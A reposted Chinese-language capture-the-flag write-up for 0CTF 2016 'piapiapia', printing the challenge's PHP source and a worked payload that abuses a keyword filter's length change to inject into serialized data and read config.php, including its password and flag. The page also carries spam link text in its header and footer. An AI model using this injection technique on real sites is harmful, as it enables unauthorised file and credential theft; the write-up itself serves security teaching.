激情久久久_欧美视频区_成人av免费_不卡视频一二三区_欧美精品在欧美一区二区少妇_欧美一区二区三区的

服務器之家:專注于服務器技術及軟件下載分享
分類導航

PHP教程|ASP.NET教程|Java教程|ASP教程|編程技術|正則表達式|C/C++|IOS|C#|Swift|Android|VB|R語言|JavaScript|易語言|vb.net|

服務器之家 - 編程語言 - PHP教程 - php反序列化長度變化尾部字符串逃逸(0CTF-2016-piapiapia)

php反序列化長度變化尾部字符串逃逸(0CTF-2016-piapiapia)

2020-06-30 12:26Sea_Sand息禪 PHP教程

這篇文章主要介紹了0CTF-2016-piapiapia(php反序列化長度變化尾部字符串逃逸),本文給大家介紹的非常詳細,具有一定的參考借鑒價值,需要的朋友可以參考下

一個很可愛的登錄界面:

php反序列化長度變化尾部字符串逃逸(0CTF-2016-piapiapia)

進行一下目錄掃描,發現源碼泄露www.zip,把源碼給出:

index.php

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
    require_once('class.php');
    if($_SESSION['username']) {
        header('Location: profile.php');
        exit;
    }
    if($_POST['username'] && $_POST['password']) {
        $username = $_POST['username'];
        $password = $_POST['password'];
 
        if(strlen($username) < 3 or strlen($username) > 16)
            die('Invalid user name');
 
        if(strlen($password) < 3 or strlen($password) > 16)
            die('Invalid password');
 
        if($user->login($username, $password)) {
            $_SESSION['username'] = $username;
            header('Location: profile.php');
            exit;  
        }
        else {
            die('Invalid user name or password');
        }
    }
    else {
?>
<!DOCTYPE html>
<html>
<head>
 <title>Login</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">
        <form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;">
            <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
            <h3>Login</h3>
            <label>Username:</label>
            <input type="text" name="username" style="height:30px"class="span3"/>
            <label>Password:</label>
            <input type="password" name="password" style="height:30px" class="span3">
 
            <button type="submit" class="btn btn-primary">LOGIN</button>
        </form>
    </div>
</body>
</html>
<?php
    }
?>

在輸入賬號密碼之后進入了profile.php,下面是profile.php的源碼:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First');
    }
    $username = $_SESSION['username'];
    $profile=$user->show_profile($username);
    if($profile == null) {
        header('Location: update.php');
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
 <title>Profile</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">
        <img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
        <h3>Hi <?php echo $nickname;?></h3>
        <label>Phone: <?php echo $phone;?></label>
        <label>Email: <?php echo $email;?></label>
    </div>
</body>
</html>
<?php
    }
?>

還有注冊頁面的源碼(沒有太大用),register.php:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
    require_once('class.php');
    if($_POST['username'] && $_POST['password']) {
        $username = $_POST['username'];
        $password = $_POST['password'];
 
        if(strlen($username) < 3 or strlen($username) > 16)
            die('Invalid user name');
 
        if(strlen($password) < 3 or strlen($password) > 16)
            die('Invalid password');
        if(!$user->is_exists($username)) {
            $user->register($username, $password);
            echo 'Register OK!<a href="index.php" rel="external nofollow" >Please Login</a>';      
        }
        else {
            die('User name Already Exists');
        }
    }
    else {
?>
<!DOCTYPE html>
<html>
<head>
 <title>Login</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">
        <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
            <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
            <h3>Register</h3>
            <label>Username:</label>
            <input type="text" name="username" style="height:30px"class="span3"/>
            <label>Password:</label>
            <input type="password" name="password" style="height:30px" class="span3">
 
            <button type="submit" class="btn btn-primary">REGISTER</button>
        </form>
    </div>
</body>
</html>
<?php
    }
?>

然后是update.php:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First');
    }
    if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
 
        $username = $_SESSION['username'];
        if(!preg_match('/^\d{11}$/', $_POST['phone']))
            die('Invalid phone');
 
        if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
            die('Invalid email');
        
        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');
 
        $file = $_FILES['photo'];
        if($file['size'] < 5 or $file['size'] > 1000000)
            die('Photo size error');
 
        move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
        $profile['phone'] = $_POST['phone'];
        $profile['email'] = $_POST['email'];
        $profile['nickname'] = $_POST['nickname'];
        $profile['photo'] = 'upload/' . md5($file['name']);
 
        $user->update_profile($username, serialize($profile));
        echo 'Update Profile Success!<a href="profile.php" rel="external nofollow" >Your Profile</a>';
    }
    else {
?>
<!DOCTYPE html>
<html>
<head>
 <title>UPDATE</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">
        <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
            <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
            <h3>Please Update Your Profile</h3>
            <label>Phone:</label>
            <input type="text" name="phone" style="height:30px"class="span3"/>
            <label>Email:</label>
            <input type="text" name="email" style="height:30px"class="span3"/>
            <label>Nickname:</label>
            <input type="text" name="nickname" style="height:30px" class="span3">
            <label for="file">Photo:</label>
            <input type="file" name="photo" style="height:30px"class="span3"/>
            <button type="submit" class="btn btn-primary">UPDATE</button>
        </form>
    </div>
</body>
</html>
<?php
    }
?>

核心的處理代碼,class.php:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
<?php
require('config.php');
 
class user extends mysql{
    private $table = 'users';
 
    public function is_exists($username) {
        $username = parent::filter($username);
 
        $where = "username = '$username'";
        return parent::select($this->table, $where);
    }
    public function register($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);
 
        $key_list = Array('username', 'password');
        $value_list = Array($username, md5($password));
        return parent::insert($this->table, $key_list, $value_list);
    }
    public function login($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);
 
        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        if ($object && $object->password === md5($password)) {
            return true;
        } else {
            return false;
        }
    }
    public function show_profile($username) {
        $username = parent::filter($username);
 
        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        return $object->profile;
    }
    public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);
 
        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }
    public function __tostring() {
        return __class__;
    }
}
 
class mysql {
    private $link = null;
 
    public function connect($config) {
        $this->link = mysql_connect(
            $config['hostname'],
            $config['username'],
            $config['password']
        );
        mysql_select_db($config['database']);
        mysql_query("SET sql_mode='strict_all_tables'");
 
        return $this->link;
    }
 
    public function select($table, $where, $ret = '*') {
        $sql = "SELECT $ret FROM $table WHERE $where";
        $result = mysql_query($sql, $this->link);
        return mysql_fetch_object($result);
    }
 
    public function insert($table, $key_list, $value_list) {
        $key = implode(',', $key_list);
        $value = '\'' . implode('\',\'', $value_list) . '\'';
        $sql = "INSERT INTO $table ($key) VALUES ($value)";
        return mysql_query($sql);
    }
 
    public function update($table, $key, $value, $where) {
        $sql = "UPDATE $table SET $key = '$value' WHERE $where";
        return mysql_query($sql);
    }
 
    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);
 
        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }
    public function __tostring() {
        return __class__;
    }
}
session_start();
$user = new user();
$user->connect($config);

最后是config.php:

?
1
2
3
4
5
6
7
<?php
    $config['hostname'] = '127.0.0.1';
    $config['username'] = 'root';
    $config['password'] = '';
    $config['database'] = '';
    $flag = '';
?>

看來flag就是在config.php中了,要想辦法拿到config.php的內容了。

然后就是代碼審計了。

seay代碼審計系統也可以給點線索的:

php反序列化長度變化尾部字符串逃逸(0CTF-2016-piapiapia)

這個地方貌似有個文件讀取的地方,在profile.php中:

?
1
2
3
4
5
6
7
else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>

上面還有個反序列化unserialize,感覺有戲,如果$profile[‘photo']是config.php就可以讀取到了,可以對photo進行操作的地方在update.php,有phone、email、nickname和photo這幾個。

?
1
2
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
print_r(unserialize($profile));

結果如下:

?
1
2
3
4
5
6
7
Array
(
 [phone] => 12345678901
 [email] => ss@q.com
 [nickname] => sea_sand
 [photo] => config.php
)

可以看到反序列化之后,最后面upload這一部分就沒了,下面就是想辦法把config.php塞進去了。

從數組順序上看是和上面數組的順序一樣的,可以抓個包看下post順序,那么最有可能的就是從nickname下手了。

在設置了$profile之后,用update_profile()函數進行處理:

?
1
2
3
4
5
6
7
public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);
 
        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }

進行了過濾:

?
1
2
3
4
5
6
7
8
9
public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);
 
        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

有兩個正則過濾,帶上輸入nickname時候有一個正則,總共三個過濾的地方,首先要繞過第一個輸入時候的正則:

?
1
2
3
4
5
6
7
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');
數組即可繞過:
nickname[]=
 
那么$profile就是這樣了:
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

后面的正則要怎么利用呢,可以看到如果我們輸入的有where,會替換成hacker,這樣的話長度就變了,序列化后的每個變量都是有長度的,那么反序列化會怎么處理呢?我們應該怎么構造呢?

數組繞過了第一個正則過濾之后,如果nickname最后面塞上";}s:5:“photo”;s:10:“config.php”;},一共是34個字符,如果利用正則替換34個where,不就可以把這34個給擠出去,后面的upload因為序列化串被我們閉合了也就沒用了:

?
1
2
3
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
 
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

在where被正則匹配換成hacker之后,正好滿足長度,然后后面的"};s:5:“photo”;s:10:“config.php”;}也就不是nickname的一部分了,被反序列化的時候就會被當成photo,就可以讀取到config.php的內容了。

下面開始操作:注冊之后登陸,進入到update.php頁面,輸入信息及上傳圖片,用bp抓包把nickname改成數組即可:

php反序列化長度變化尾部字符串逃逸(0CTF-2016-piapiapia)

然后進入到profile中查看圖片信息,把base64碼解碼:

PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezBjdGZfMjAxNl91bnNlcmlhbGl6ZV9pc192ZXJ5X2dvb2QhfSc7Cj8+Cg==

解碼得到:

?
1
2
3
4
5
6
7
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{0ctf_2016_unserialize_is_very_good!}';
?>

總結

以上所述是小編給大家介紹的php反序列化長度變化尾部字符串逃逸(0CTF-2016-piapiapia),希望對大家有所幫助!

原文鏈接:https://blog.csdn.net/zz_Caleb/article/details/96777110

延伸 · 閱讀

精彩推薦
Weibo Article 1 Weibo Article 2 Weibo Article 3 Weibo Article 4 Weibo Article 5 Weibo Article 6 Weibo Article 7 Weibo Article 8 Weibo Article 9 Weibo Article 10 Weibo Article 11 Weibo Article 12 Weibo Article 13 Weibo Article 14 Weibo Article 15 Weibo Article 16 Weibo Article 17 Weibo Article 18 Weibo Article 19 Weibo Article 20 Weibo Article 21 Weibo Article 22 Weibo Article 23 Weibo Article 24 Weibo Article 25
主站蜘蛛池模板: 精品成人免费一区二区在线播放 | 国产乱淫av| 港台三级在线观看 | 日本爽快片100色毛片视频 | 国产午夜精品久久久久婷 | 欧美 videos粗暴 | 欧美福利视频一区二区三区 | 国产欧美精品一区二区三区四区 | 干色视频 | 日本久久综合网 | 午夜男人免费视频 | 国产免费久久久久 | 免费看a级片 | 国产99久久精品一区二区 | 日韩毛片网 | 国产一区二区免费看 | 日韩在线观看高清 | 性盈盈盈影院 | 91网视频在线观看 | 国产欧美精品综合一区 | 欧美特黄一级高清免费的香蕉 | 狠狠操天天射 | 一级毛片手机在线观看 | 日本成人一二三区 | 一级电影在线观看 | 精品久久久久久久久中文字幕 | 欧美三级日本三级少妇99 | 在线成人www免费观看视频 | 亚洲性生活免费视频 | 午夜免费一区 | 欧美一级片在线 | 精品久久久久久久久中文字幕 | 欧美成人精品一区二区三区 | 欧美一级一区二区三区 | 欧洲色阁中文字幕 | 亚洲福利视 | 国产午夜精品理论片a级探花 | 一级啪啪片 | 久久久久久精 | 亚洲第一精品在线 | 狠狠干天天 |